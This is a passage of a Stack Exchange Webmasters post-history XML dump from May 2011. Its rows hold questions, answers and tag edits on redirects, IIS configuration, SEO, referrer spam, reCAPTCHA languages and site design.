don't match. And that's not even taking into account the other browsers that don't use WebKit in the first place.&#xD;&#xA;&#xD;&#xA;Back to my question up top, though, the real reason your clients are complaining is that you seem to have put an inappropriate tool in front of them. If they're making edits to their own site, you may want to reconsider this entire process. Dreamweaver *can* be used to manage sites, but that doesn't mean it's intended that *anybody* can use it to do so. If it's that you guys want to stay within the Adobe suite or whatever, it seems like maybe they should be using Contribute instead." />
  <row Id="32276" PostHistoryTypeId="25" PostId="13879" RevisionGUID="23781e55-41e3-4968-9c95-d608384a3387" CreationDate="2011-05-16T09:12:05.963" Comment="http://twitter.com/#!/StackWebmasters/status/70053899209420800" />
  <row Id="32277" PostHistoryTypeId="2" PostId="13881" RevisionGUID="7ff40610-5405-435c-848f-914c40eeb695" CreationDate="2011-05-16T09:14:41.310" UserId="1643" Text="I think it's possible to design for the web browser that is DWs design view, as you would for any other browser. However like any other browser you have to ask the question, &quot;Are many people using this browser?&quot;. The answer in your case is clearly no.&#xD;&#xA;&#xD;&#xA;So if they want you to make things work in this particular specialist, minority browser that they happen to be using, it's going to make things take a lot longer, which is going to cost them more money. Do they really want that?" />
  <row Id="32282" PostHistoryTypeId="2" PostId="13883" RevisionGUID="2ca401ca-484b-4e1a-a19c-ec99ee19c050" CreationDate="2011-05-16T11:20:59.677" UserId="7534" Text="I have an URL `domain.com/random`, which will redirect to a random page.&#xD;&#xA;&#xD;&#xA;What would be the correct HTTP code for this?&#xD;&#xA;&#xD;&#xA;Plus, I'm inserting the link like this:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;/random&quot; rel=&quot;nofollow&quot; title=&quot;Random profile&quot;&gt;Show random profile&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Spiders won't follow that link. Do I need to care about what HTTP code I send?" />
  <row Id="32283" PostHistoryTypeId="1" PostId="13883" RevisionGUID="2ca401ca-484b-4e1a-a19c-ec99ee19c050" CreationDate="2011-05-16T11:20:59.677" UserId="7534" Text="What HTTP code to use when redirecting to random page" />
  <row Id="32284" PostHistoryTypeId="3" PostId="13883" RevisionGUID="2ca401ca-484b-4e1a-a19c-ec99ee19c050" CreationDate="2011-05-16T11:20:59.677" UserId="7534" Text="&lt;seo&gt;&lt;redirects&gt;" />
  <row Id="32285" PostHistoryTypeId="2" PostId="13884" RevisionGUID="dff37ada-fc8d-4d47-99e8-7d1f7372466e" CreationDate="2011-05-16T11:24:35.523" UserId="1643" Text="I don't think you should send an HTTP code (apart from the usual 200). Spiders may or may not follow that link. If they do follow it they may decide to give it lesser weight, but still pay attention to it. The 301/302 redirects say &quot;what used to be here is now somewhere else&quot;, but there was never anything at your random link in the first place. Even if there was, because you send them to a random place it's not true that whatever was there is somewhere else, because it's always somewhere different." />
  <row Id="32286" PostHistoryTypeId="2" PostId="13885" RevisionGUID="1b3c4bec-5a6c-42db-9d0c-291d5f3c04fb" CreationDate="2011-05-16T11:26:38.960" UserId="7535" Text="Web have the following scenario:&#xD;&#xA;&#xD;&#xA; - A generic web developed using&#xD;&#xA;   DotNetNuke&#xD;&#xA; - A b2b web application developed using&#xD;&#xA;   ASP.NET + Silverlight&#xD;&#xA;&#xD;&#xA;What we want to do is the following:&#xD;&#xA;&#xD;&#xA; - When a client goes to&#xD;&#xA;   www.myCompanyDomain.com the web that&#xD;&#xA;   the client access is the Dotnetnuke&#xD;&#xA;   Web.&#xD;&#xA; - When a client goes to&#xD;&#xA;   www.myCompanyDomain.com/b2b the web&#xD;&#xA;   loaded is the B2B web.&#xD;&#xA;&#xD;&#xA;The problem is that when we install the DotNetNuke application into the main directory of our web server the Web.Config configuration file is inherited by any application installed in a subdirectory, causing the B2B application to fail.&#xD;&#xA;&#xD;&#xA;In order to have a working installation we have to install the DotNetNuke web in a subdirectory and the B2B web in another, but this make impossible to access the DotNetNuke web directly from www.MyCompanyDomain.com&#xD;&#xA;&#xD;&#xA;How can we install the applications and configure the IIS to have the wanted behavior?" />
  <row Id="32287" PostHistoryTypeId="1" PostId="13885" RevisionGUID="1b3c4bec-5a6c-42db-9d0c-291d5f3c04fb" CreationDate="2011-05-16T11:26:38.960" UserId="7535" Text="How to avoid DotNetNuke with another ASP.NET application conflicts" />
  <row Id="32288" PostHistoryTypeId="3" PostId="13885" RevisionGUID="1b3c4bec-5a6c-42db-9d0c-291d5f3c04fb" CreationDate="2011-05-16T11:26:38.960" UserId="7535" Text="&lt;cms&gt;&lt;asp.net&gt;&lt;web&gt;&lt;iis7&gt;" />
  <row Id="32289" PostHistoryTypeId="2" PostId="13886" RevisionGUID="eebc9f2c-4d7e-4ac2-bc22-f50acfe18eb0" CreationDate="2011-05-16T11:44:27.743" UserId="1253" Text="You should have a link to your RSS feed in your `&lt;head&gt;` so browsers and other user agents can offer users a chance to subscribe to it through the RSS icon in their address bar (or however it chooses to show them there is an RSS feed available). Because this is the default way to offer an RSS feed it is safe to assume search engines also know what to do with it. So I would say where you place it on your page is irrelevant as long as you place it in your `&lt;head&gt;` properly." />
  <row Id="32293" PostHistoryTypeId="2" PostId="13887" RevisionGUID="f157eb82-785c-4b6a-9c6e-ae8810617da0" CreationDate="2011-05-16T11:46:31.173" UserId="7447" Text="on that page, it's easy! real easy.&#xD;&#xA;&#xD;&#xA;you have the layout like this:&#xD;&#xA;&#xD;&#xA;    &lt;p style='text-align:center'&gt;&#xD;&#xA;    &lt;img /&gt;&#xD;&#xA;    &lt;/p&gt;&#xD;&#xA;worked for me on Chrome dev tools, should work the same for MSIE and FF.&#xD;&#xA;&#xD;&#xA;ofcourse you can use CSS as someone suggested, creating a `text-align:center` class.&#xD;&#xA;&#xD;&#xA;As people suggested here, you can go the&#xD;&#xA;&#xD;&#xA;    margin:0px auto;&#xD;&#xA;&#xD;&#xA;way, but unfortunately it doesn't work in MSIE, so you'll need to create a different stylesheet to make it work on IE, besides that, the margin way is working on an element who isn't 100% width, and for some reason it's not working on your website.&#xD;&#xA;&#xD;&#xA;and a slight suggestion: **DON'T EVER USE** pixel.gif, it's a living hell to program after a person who used that, and in all honestly - it's a bad practise.&#xD;&#xA;&#xD;&#xA;good luck!" />
  <row Id="32294" PostHistoryTypeId="25" PostId="13883" RevisionGUID="540d14b2-a9d1-4c6b-93cc-6e2aa920d992" CreationDate="2011-05-16T12:12:06.140" Comment="http://twitter.com/#!/StackWebmasters/status/70099198724423680" />
  <row Id="32295" PostHistoryTypeId="2" PostId="13888" RevisionGUID="2f6b4046-944f-48c0-aa85-1b52e889737c" CreationDate="2011-05-16T13:10:08.467" UserId="7405" Text="The first thing to verify is that the 'B2B' application was defined in IIS as an application (not just a virtual directory).  It sounds like the issue you are having is with web.config inheritance.  Have a look at the following article which may provide some helpful tips on what you can do with the B2B application to break inheritance:&#xD;&#xA;&#xD;&#xA;http://www.aspdotnetfaq.com/Faq/how-to-disable-web-config-inheritance-for-child-applications-in-subfolders-in-asp-net.aspx&#xD;&#xA;&#xD;&#xA;Info on MSDN:  http://msdn.microsoft.com/en-us/library/ms178685.aspx&#xD;&#xA;&#xD;&#xA;An easy approach might of course be to install each of DotNetNuke and your B2B app in sub folders, then put a 301 redirect on the root of your www.myCompanyDomain.com.  Not the most ideal, but would certainly be quick to put in place.  I would recommend looking at correcting the web.config inheritance.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32296" PostHistoryTypeId="2" PostId="13889" RevisionGUID="4a5254ff-ba02-472d-b696-8ea9107669f3" CreationDate="2011-05-16T13:24:56.550" UserId="7405" Text="I agree with the previous responses of escaping the '#' symbol to '%23'.  When dealing with file names on a website, it is also a good rule of thumb to avoid using special characters and spaces to avoid compatibility issues.  Also, from an SEO perspective, consider the following example:&#xD;&#xA;&#xD;&#xA;http://mydomain.com/ThisIsMyKeywordFileName.pdf&#xD;&#xA;&#xD;&#xA;Some search engines will be able to parse a keyword out of this file name, but others will determine that 'thisismykeywordfilename' is all one word.  If you change it to the following:&#xD;&#xA;&#xD;&#xA;http://mydomain.com/This-Is-My-Keyword-File-Name.pdf&#xD;&#xA;&#xD;&#xA;Search engines will then be able to break out the keywords in your file names.  If you use spaces in the file name, you may end up with an encoded URL in your address bar that looks like this:&#xD;&#xA;&#xD;&#xA;http://mydomain.com/This%20Is%20My%20Keyword%20File%20Name.pdf.&#xD;&#xA;&#xD;&#xA;Which is not real nice to look at.  When escaping the '#' symbol, you will end up with escaped file names that look similar to the example above.  A good strategy if possible would be to simplify your file naming, otherwise, escaped special characters are what you need to do." />
  <row Id="32297" PostHistoryTypeId="6" PostId="12421" RevisionGUID="2bb3b137-8681-4030-a503-bf705b2a96d1" CreationDate="2011-05-16T13:29:15.703" UserId="1253" Comment="modified tags" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;" />
  <row Id="32298" PostHistoryTypeId="5" PostId="13885" RevisionGUID="261bb1e3-598a-4fa5-923a-8ee33659e7f6" CreationDate="2011-05-16T13:33:07.230" UserId="1253" Comment="modified tags" Text="Web have the following scenario:&#xD;&#xA;&#xD;&#xA; - A generic web developed using&#xD;&#xA;   DotNetNuke&#xD;&#xA; - A b2b web application developed using&#xD;&#xA;   ASP.NET + Silverlight&#xD;&#xA;&#xD;&#xA;What we want to do is the following:&#xD;&#xA;&#xD;&#xA; - When a client goes to&#xD;&#xA;   www.myCompanyDomain.com the web that&#xD;&#xA;   the client access is the Dotnetnuke&#xD;&#xA;   Web.&#xD;&#xA; - When a client goes to&#xD;&#xA;   www.myCompanyDomain.com/b2b the web&#xD;&#xA;   loaded is the B2B web.&#xD;&#xA;&#xD;&#xA;The problem is that when we install the DotNetNuke application into the main directory of our web server the Web.Config configuration file is inherited by any application installed in a subdirectory, causing the B2B application to fail.&#xD;&#xA;&#xD;&#xA;In order to have a working installation we have to install the DotNetNuke web in a subdirectory and the B2B web in another, but this make impossible to access the DotNetNuke web directly from www.MyCompanyDomain.com&#xD;&#xA;&#xD;&#xA;How can we install the applications and configure the IIS to have the wanted behavior?" />
  <row Id="32299" PostHistoryTypeId="6" PostId="13885" RevisionGUID="261bb1e3-598a-4fa5-923a-8ee33659e7f6" CreationDate="2011-05-16T13:33:07.230" UserId="1253" Comment="modified tags" Text="&lt;asp.net&gt;&lt;iis7&gt;" />
  <row Id="32300" PostHistoryTypeId="2" PostId="13890" RevisionGUID="6c4ceaf4-8964-4997-8ee0-a9e9bab59a54" CreationDate="2011-05-16T13:40:38.437" UserId="7164" Text="Matt cuts said in a Tweet :&#xD;&#xA;&#xD;&#xA;&gt; Short version is that it’s not data that’s updated daily right now. More like when we re-run the algorithms to regen the data.&#xD;&#xA;&#xD;&#xA;In my opinion, it tells us two things:&#xD;&#xA;&#xD;&#xA; - Whatever algorithm panda is, it's not in the classic workflow of the referencing of a website. &#xD;&#xA; - Panda is some kind of reranking algorithm which takes in input the 'classic' algorithm and penalizes aimed websites.&#xD;&#xA;&#xD;&#xA;what do you think about the last point ?&#xD;&#xA;" />
  <row Id="32301" PostHistoryTypeId="1" PostId="13890" RevisionGUID="6c4ceaf4-8964-4997-8ee0-a9e9bab59a54" CreationDate="2011-05-16T13:40:38.437" UserId="7164" Text="What kind of algorithm is Panda" />
  <row Id="32302" PostHistoryTypeId="3" PostId="13890" RevisionGUID="6c4ceaf4-8964-4997-8ee0-a9e9bab59a54" CreationDate="2011-05-16T13:40:38.437" UserId="7164" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="32303" PostHistoryTypeId="10" PostId="13890" RevisionGUID="42006e5f-dd75-41ce-bc6e-55c6c88ff2cf" CreationDate="2011-05-16T13:42:18.047" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="32304" PostHistoryTypeId="2" PostId="13891" RevisionGUID="c379c1b4-a27f-4ca9-af37-fd309778b621" CreationDate="2011-05-16T14:01:04.397" UserDisplayName="user5413" Text="I have http://www.example.com/article&#xD;&#xA;&#xD;&#xA;Due to rampant content development by authors in my site, http://example.com/article has also been widely indexed by google.&#xD;&#xA;&#xD;&#xA;Now, both are there roughly in equal numbers in google search result.&#xD;&#xA;&#xD;&#xA;So, the total page rank for the corresponding keywords is shared between the two URLs.&#xD;&#xA;&#xD;&#xA;I want only http://www.example.com/article to be indexed and have all the page rank value that it deserves.&#xD;&#xA;&#xD;&#xA;Will doing a 301 redirect from http://example.com/article to http://www.example.com/article achieve it? If not, what else should I do?" />
  <row Id="32305" PostHistoryTypeId="1" PostId="13891" RevisionGUID="c379c1b4-a27f-4ca9-af37-fd309778b621" CreationDate="2011-05-16T14:01:04.397" UserDisplayName="user5413" Text="Will a 301 redirect help in maintaining proper page rank?" />
  <row Id="32306" PostHistoryTypeId="3" PostId="13891" RevisionGUID="c379c1b4-a27f-4ca9-af37-fd309778b621" CreationDate="2011-05-16T14:01:04.397" UserDisplayName="user5413" Text="&lt;pagerank&gt;&lt;301-redirect&gt;" />
  <row Id="32307" PostHistoryTypeId="2" PostId="13892" RevisionGUID="2d5ad305-4f31-43c7-9131-20225ab2d9ae" CreationDate="2011-05-16T14:03:15.283" UserId="1253" Text="What you want to do is a 301 redirect from `example.com/anypage` to `www.example.com/anypage`. Basically you just want to add the `www`, not take the user to the home page just because they forgot the `www`. That's really bad usability.&#xD;&#xA;&#xD;&#xA;Fortunately this is easy to do if you use Apache. This little snippet in the conf file for the site or a .htaccess will do the trick:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^(www\.|$) [NC]&#xD;&#xA;    RewriteRule ^ http://www.%{HTTP_HOST}%{REQUEST_URI} [R=301,L]&#xD;&#xA;&#xD;&#xA;This will make sure that PageRank and each page's ranking (two different things) are maximized and focused on the page with the `www`. The page without the `www` will eventually fall out of Google's index." />
  <row Id="32308" PostHistoryTypeId="6" PostId="13891" RevisionGUID="bf0c4562-9b48-48dc-82c7-d1e89c7f014a" CreationDate="2011-05-16T14:05:23.490" UserId="1253" Comment="edited tags" Text="&lt;pagerank&gt;&lt;301-redirect&gt;&lt;page-ranking&gt;" />
  <row Id="32309" PostHistoryTypeId="2" PostId="13893" RevisionGUID="9e7b08ec-483d-4cfb-bfa8-41110922d3ce" CreationDate="2011-05-16T14:29:35.340" UserDisplayName="yacomink" Text="I've noticed in my own stats, as well as &lt;a href=&quot;http://www.google.com/search?q=%22wwwstumbleupon.com%22&quot;&gt;searching on other sites&lt;/a&gt;, a fair amount of traffic that comes from urls that look like this:&#xD;&#xA;&#xD;&#xA;http://wwwstumbleupon.com/refer.php?url=http://[mydomain]/[myurl]&#xD;&#xA;&#xD;&#xA;Which looks a lot like a valid stumbleupon referrer, but from a bogus domain. 'wwwstumbleupon.com' is not running a redirector themselves there, so I'm guessing this isn't something nefarious from the owners of that domain.&#xD;&#xA;&#xD;&#xA;Does anybody know if this is valid traffic from stumbleupon? Perhaps from a beta version of their toolbar or something along those lines? &#xD;&#xA;" />
  <row Id="32310" PostHistoryTypeId="1" PostId="13893" RevisionGUID="9e7b08ec-483d-4cfb-bfa8-41110922d3ce" CreationDate="2011-05-16T14:29:35.340" UserDisplayName="yacomink" Text="wwwstumbleupon.com referring domain in web stats" />
  <row Id="32311" PostHistoryTypeId="3" PostId="13893" RevisionGUID="9e7b08ec-483d-4cfb-bfa8-41110922d3ce" CreationDate="2011-05-16T14:29:35.340" UserDisplayName="yacomink" Text="&lt;untagged&gt;" />
  <row Id="32312" PostHistoryTypeId="17" PostId="13893" RevisionGUID="03454331-510c-4530-9c2c-521d064e135f" CreationDate="2011-05-16T14:32:23.833" UserId="-1" Comment="from http://stackoverflow.com/questions/6018902/wwwstumbleupon-com-referring-domain-in-web-stats" Text="" />
  <row Id="32313" PostHistoryTypeId="6" PostId="13893" RevisionGUID="fe23dd2b-defa-4f25-bfab-bd3225e30376" CreationDate="2011-05-16T14:33:58.693" UserId="1643" Comment="edited tags" Text="&lt;spam&gt;&lt;referrer&gt;" />
  <row Id="32320" PostHistoryTypeId="2" PostId="13895" RevisionGUID="037a4340-3329-43b7-8d4f-06834e9a8ff4" CreationDate="2011-05-16T14:47:53.327" UserId="1010" Text="&gt; Does anybody know if this is valid traffic from stumbleupon?&#xD;&#xA;&#xD;&#xA;It isn't.  The WHOIS information hides behind one of those privacy shields, and the home page is obviously designed to look like a parked domain.  &#xD;&#xA;&#xD;&#xA;This looks like a classic case of [referrer spam](http://en.wikipedia.org/wiki/Referrer_spam), though usually they go through a *bit* more effort than this." />
  <row Id="32321" PostHistoryTypeId="25" PostId="13893" RevisionGUID="f187e781-ab0f-4419-9d95-9eaa8c271831" CreationDate="2011-05-16T15:12:06.057" Comment="http://twitter.com/#!/StackWebmasters/status/70144496528134144" />
  <row Id="32322" PostHistoryTypeId="2" PostId="13896" RevisionGUID="58770e0e-dcac-4015-877e-d149cab09ae2" CreationDate="2011-05-16T15:14:21.293" UserId="7474" Text="The [documentation](http://code.google.com/apis/recaptcha/docs/customization.html) states that `&quot;Any supported language code.&quot;` is supported, but then says:&#xD;&#xA;&#xD;&#xA;&gt; Which language is used in the interface for the pre-defined themes. The following languages are supported:  &#xD;&#xA; - English	en   &#xD;&#xA; - Dutch	nl   &#xD;&#xA; - French	fr  &#xD;&#xA; - German	de   &#xD;&#xA; - Portuguese	pt  &#xD;&#xA; - Russian	ru  &#xD;&#xA; - Spanish	es   &#xD;&#xA; - Turkish	tr&#xD;&#xA; &#xD;&#xA;&gt;If the language of your site isn't supported, you can always use custom theming to put reCAPTCHA in your language.&#xD;&#xA;&#xD;&#xA; - If the first statement is meant to mean:&#xD;&#xA;   - _Any language_ it  isn't true because Japan (ja/jp/jpn) isn't supported as far as I can see.  (Plus then, the last statement disproves the first one.) &#xD;&#xA;   - Languages in the list (above), then what about Italy? &quot;it&quot; is supported but not in the list.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##So which languages are actually supported?##" />
  <row Id="32323" PostHistoryTypeId="1" PostId="13896" RevisionGUID="58770e0e-dcac-4015-877e-d149cab09ae2" CreationDate="2011-05-16T15:14:21.293" UserId="7474" Text="Which languages are supported by reCaptcha?" />
  <row Id="32324" PostHistoryTypeId="3" PostId="13896" RevisionGUID="58770e0e-dcac-4015-877e-d149cab09ae2" CreationDate="2011-05-16T15:14:21.293" UserId="7474" Text="&lt;google&gt;&lt;language&gt;&lt;captcha&gt;" />
  <row Id="32325" PostHistoryTypeId="4" PostId="13896" RevisionGUID="07a32d3b-1417-458a-b877-beaef23d1022" CreationDate="2011-05-16T15:28:09.360" UserId="7474" Comment="edited title; added 1 characters in body; added 2 characters in body" Text="Which languages are supported by reCAPTCHA?" />
  <row Id="32326" PostHistoryTypeId="5" PostId="13896" RevisionGUID="07a32d3b-1417-458a-b877-beaef23d1022" CreationDate="2011-05-16T15:28:09.360" UserId="7474" Comment="edited title; added 1 characters in body; added 2 characters in body" Text="The [documentation](http://code.google.com/apis/recaptcha/docs/customization.html) states that `&quot;Any supported language code.&quot;` is supported, but then says:&#xD;&#xA;&#xD;&#xA;&gt; Which language is used in the interface for the pre-defined themes. The following languages are supported:  &#xD;&#xA; - English	en   &#xD;&#xA; - Dutch	nl   &#xD;&#xA; - French	fr  &#xD;&#xA; - German	de   &#xD;&#xA; - Portuguese	pt  &#xD;&#xA; - Russian	ru  &#xD;&#xA; - Spanish	es   &#xD;&#xA; - Turkish	tr&#xD;&#xA; &#xD;&#xA;&gt;If the language of your site isn't supported, you can always use custom theming to put reCAPTCHA in your language.&#xD;&#xA;&#xD;&#xA; - If the first statement is meant to mean:&#xD;&#xA;   - _Any language_. It  isn't true because Japan (ja/jp/jpn) isn't supported as far as I can see.  (Plus then, the last statement disproves the first one.) &#xD;&#xA;   - Languages in the list (above), then what about Italian? &quot;it&quot; is supported but not in the list.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##So which languages are actually supported?##" />
  <row Id="32327" PostHistoryTypeId="2" PostId="13897" RevisionGUID="8e1535d0-b55c-40b5-a7d8-d5828285fdcb" CreationDate="2011-05-16T15:33:49.367" UserId="5739" Text="Good question.&#xD;&#xA;&#xD;&#xA;It would appear that any language is supported but only the mentioned languages have pre-defined themes and if you want to use any other language you would have to write your own customisation.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32328" PostHistoryTypeId="2" PostId="13898" RevisionGUID="bb345b74-c630-4cdb-aa46-25e55aa8a678" CreationDate="2011-05-16T15:47:40.500" UserId="1643" Text="I think given that the error message comes from Google you need to wait until the DNS changes have propagated and Google no longer have anything to do with the domain." />
  <row Id="32329" PostHistoryTypeId="6" PostId="13868" RevisionGUID="5ee90272-63eb-43ce-9222-edfc0ea28d8c" CreationDate="2011-05-16T15:48:00.390" UserId="1643" Comment="edited tags" Text="&lt;google&gt;&lt;websites&gt;&lt;dns&gt;&lt;google-apps&gt;" />
  <row Id="32330" PostHistoryTypeId="2" PostId="13899" RevisionGUID="23640e0c-b623-4c76-8545-9f9dccdf89f0" CreationDate="2011-05-16T16:41:05.043" UserId="7094" Text="It's always bothered me that Google Analytics (and similar embedded web traffic monitoring services) can only see a reflection of the traffic going to my server and can only see page visits since it depends on the browser executing a Javascript snippet. If I want to track real downloads of a software package (ZIP file), there's no way Google Analytics can possibly tell me that because its javascript can't be attached to a ZIP file. Is there a way I can upload my log files to Google so that the pointy-haired boss can see downloads of our ZIP/PDF/BIN files and not just visits to the download page?&#xD;&#xA;" />
  <row Id="32331" PostHistoryTypeId="1" PostId="13899" RevisionGUID="23640e0c-b623-4c76-8545-9f9dccdf89f0" CreationDate="2011-05-16T16:41:05.043" UserId="7094" Text="Is it possible to use Google Analytics without javascript?" />
  <row Id="32332" PostHistoryTypeId="3" PostId="13899" RevisionGUID="23640e0c-b623-4c76-8545-9f9dccdf89f0" CreationDate="2011-05-16T16:41:05.043" UserId="7094" Text="&lt;google-analytics&gt;&lt;analytics&gt;&lt;traffic&gt;&lt;logging&gt;" />
  <row Id="32333" PostHistoryTypeId="2" PostId="13900" RevisionGUID="05d7ba8a-6dcc-4eab-a684-408911ab5b18" CreationDate="2011-05-16T16:42:06.367" UserId="7405" Text="Your best bet for running a custom Windows Service is likely to be with a VPS solution.  There are plenty of quality VPS providers out there (Rackspace and Amazon to name a couple).  A shared web host is generally not going to allow custom Windows services to run due to security and performance issues.  If you find one that does, you will want to take a VERY close look at  their security policies and practices." />
  <row Id="32334" PostHistoryTypeId="6" PostId="6425" RevisionGUID="d1f86705-b0c6-48fd-9a4d-fdf0b3499145" CreationDate="2011-05-16T16:46:50.390" UserId="1253" Comment="modified tags" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;&lt;windows&gt;" />
  <row Id="32335" PostHistoryTypeId="2" PostId="13901" RevisionGUID="07ffbee5-2dfe-4234-9586-8adea5764d1a" CreationDate="2011-05-16T16:48:58.407" UserId="7405" Text="Have a look at the following documentation on the Google help site for tracking file downloads:&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/analytics/bin/answer.py?answer=55529&#xD;&#xA;&#xD;&#xA;The only true way to analyze web traffic on your site is to look at the actual log files on your web server with something like WebTrends, SmarterStats, AWStats, etc." />
  <row Id="32336" PostHistoryTypeId="2" PostId="13902" RevisionGUID="24a96191-69b4-46f0-a413-3620b4d0dc1c" CreationDate="2011-05-16T17:22:59.213" UserId="7522" Text="In the past I've done some HTML, CSS and PHP coding, but I've only ever worked on things that were already &quot;finished&quot; and I've never started a website from scratch. However, I recently purchased a domain and some hosting for cheap, and I'm hoping to improve my HTML, CSS, and Javascript skills so that I can become a bit more marketable as a web developer/webmaster.&#xD;&#xA;&#xD;&#xA;Typically, what process do you use to start a website? Do you draw the layout on paper and then do the code? Or do you just start coding and tweak the output to your liking?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32337" PostHistoryTypeId="1" PostId="13902" RevisionGUID="24a96191-69b4-46f0-a413-3620b4d0dc1c" CreationDate="2011-05-16T17:22:59.213" UserId="7522" Text="When designing a website, how do you usually start?" />
  <row Id="32338" PostHistoryTypeId="3" PostId="13902" RevisionGUID="24a96191-69b4-46f0-a413-3620b4d0dc1c" CreationDate="2011-05-16T17:22:59.213" UserId="7522" Text="&lt;html&gt;&lt;web-development&gt;&lt;design&gt;" />
  <row Id="32339" PostHistoryTypeId="16" PostId="13902" RevisionGUID="62bd4319-e7d4-4f14-9322-b1f7009288ee" CreationDate="2011-05-16T17:31:09.650" UserId="1253" />
  <row Id="32340" PostHistoryTypeId="2" PostId="13903" RevisionGUID="879c6073-de73-46fa-a213-9b1a43ce4fb8" CreationDate="2011-05-16T18:02:42.507" UserId="1134" Text="I like to start with `&lt;!DOCTYPE html&gt;`&#xD;&#xA;&#xD;&#xA;Seriously though... first priorities:&#xD;&#xA;&#xD;&#xA; 1. Find out what the client wants. Draw a rough sketch for the basic layout, come up w/ a color scheme, etc.&#xD;&#xA; 2. Do a basic navigation and layout mock up (static) and work with the client to refine it.&#xD;&#xA; 3. Actual production. Get CMS and/or static content in place. Confer with client again to make sure it's what they're looking for and they can handle the CMS/the CMS can handle their needs.&#xD;&#xA; 4. Refine and repeat 3 until the client is happy.&#xD;&#xA; 5. ????&#xD;&#xA; 6. Profit!" />
  <row Id="32341" PostHistoryTypeId="16" PostId="13903" RevisionGUID="a857746e-578e-4ff9-8862-8c8d3d1cbebb" CreationDate="2011-05-16T18:02:42.507" UserId="1134" />
  <row Id="32342" PostHistoryTypeId="25" PostId="13902" RevisionGUID="bd64eb89-a60c-4926-b5a0-b935f4d7719d" CreationDate="2011-05-16T18:12:10.390" Comment="http://twitter.com/#!/StackWebmasters/status/70189813747290112" />
  <row Id="32343" PostHistoryTypeId="2" PostId="13904" RevisionGUID="7ca29afb-b175-49a4-8f92-fcda9bad1b16" CreationDate="2011-05-16T18:13:19.707" UserId="6630" Text="First of all I would draw the basic layout and design it on paper before starting coding.&#xD;&#xA;After completing the basic design on paper,it is easy to code it in modular way.Offcourse php &amp; css would be the best way to customize it." />
  <row Id="32344" PostHistoryTypeId="16" PostId="13904" RevisionGUID="05a8c7a9-b8cc-488b-bf8b-a4cc6b36f77c" CreationDate="2011-05-16T18:13:19.707" UserId="6630" />
  <row Id="32345" PostHistoryTypeId="2" PostId="13905" RevisionGUID="2047f5cb-1502-416c-8ca9-41795743b254" CreationDate="2011-05-16T18:20:33.257" UserId="7541" Text="I always like to start by making a mockup using some sort of photoshop software so that it can incorporate any and all images in your site." />
  <row Id="32346" PostHistoryTypeId="16" PostId="13905" RevisionGUID="8910640f-39a8-419f-a1f8-7eab998e66c6" CreationDate="2011-05-16T18:20:33.257" UserId="7541" />
  <row Id="32347" PostHistoryTypeId="17" PostId="13907" RevisionGUID="782850a5-dd38-49e5-97fc-f3fb2c68263d" CreationDate="2011-05-16T18:39:12.297" UserId="-1" Comment="from http://stackoverflow.com/questions/6007131/dreamhost-script-killed/6007141#6007141" Text="" />
  <row Id="32348" PostHistoryTypeId="2" PostId="13907" RevisionGUID="d8311f4c-9ddb-4a24-b183-3ecf6b3f4092" CreationDate="2011-05-15T07:40:24.910" UserDisplayName="Danzan" Text="Try to use Curl,&#xD;&#xA;&#xD;&#xA;    curl_set_opt CURLOPT_TIMEOUT 5 sec" />
  <row Id="32349" PostHistoryTypeId="2" PostId="13906" RevisionGUID="0517d003-e03d-4910-a632-cc95d827e655" CreationDate="2011-05-15T07:37:33.700" UserDisplayName="Erkin Tek" Text="I'm using dreamhost. In one of my scripts I need to gather contents of url (using file_get_contents). There are 9 sites, 8 of them are ok but one is very slow. It tooks 10~30sec. to connect. &#xD;&#xA;&#xD;&#xA;As you would know scripts running more than ~5 secs. are killed by dreamhost happy killer. So I cant gather this site. &#xD;&#xA;&#xD;&#xA;any suggestions?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32350" PostHistoryTypeId="1" PostId="13906" RevisionGUID="0517d003-e03d-4910-a632-cc95d827e655" CreationDate="2011-05-15T07:37:33.700" UserDisplayName="Erkin Tek" Text="dreamhost script killed" />
  <row Id="32351" PostHistoryTypeId="3" PostId="13906" RevisionGUID="0517d003-e03d-4910-a632-cc95d827e655" CreationDate="2011-05-15T07:37:33.700" UserDisplayName="Erkin Tek" Text="&lt;php&gt;" />
  <row Id="32352" PostHistoryTypeId="17" PostId="13906" RevisionGUID="cc882628-79cd-4a09-82b0-aa41271b7d15" CreationDate="2011-05-16T18:39:12.297" UserId="-1" Comment="from http://stackoverflow.com/questions/6007131/dreamhost-script-killed" Text="" />
  <row Id="32353" PostHistoryTypeId="2" PostId="13908" RevisionGUID="246eccd3-7d43-4581-8442-d86e4008aecc" CreationDate="2011-05-16T19:23:54.030" UserId="7544" Text="I have image folders where I use dashes in the name for example: &quot;images/01-12-2011/example.jpg&quot;&#xD;&#xA;&#xD;&#xA;When I insert this image into my html. Internet explorer(9) shows the image but Firefox and chrome doesn't show it. When I type it to the url: (blabla.com/images/01-12-2011/example.jpg) then i can see the image.&#xD;&#xA;&#xD;&#xA;What could be the reason and the solution?&#xD;&#xA;&#xD;&#xA;thanks in advance" />
  <row Id="32354" PostHistoryTypeId="1" PostId="13908" RevisionGUID="246eccd3-7d43-4581-8442-d86e4008aecc" CreationDate="2011-05-16T19:23:54.030" UserId="7544" Text="Using dash in folder names and linking for image" />
  <row Id="32355" PostHistoryTypeId="3" PostId="13908" RevisionGUID="246eccd3-7d43-4581-8442-d86e4008aecc" CreationDate="2011-05-16T19:23:54.030" UserId="7544" Text="&lt;html&gt;&lt;image&gt;&lt;dash&gt;" />
  <row Id="32359" PostHistoryTypeId="4" PostId="13899" RevisionGUID="6d955b81-1ceb-46ba-a76f-219c8de494c8" CreationDate="2011-05-16T20:01:00.353" UserId="4502" Comment="Edited title question to more accurately reflect what was actually being asked about." Text="Is it possible to use Google Analytics to track file downloads?" />
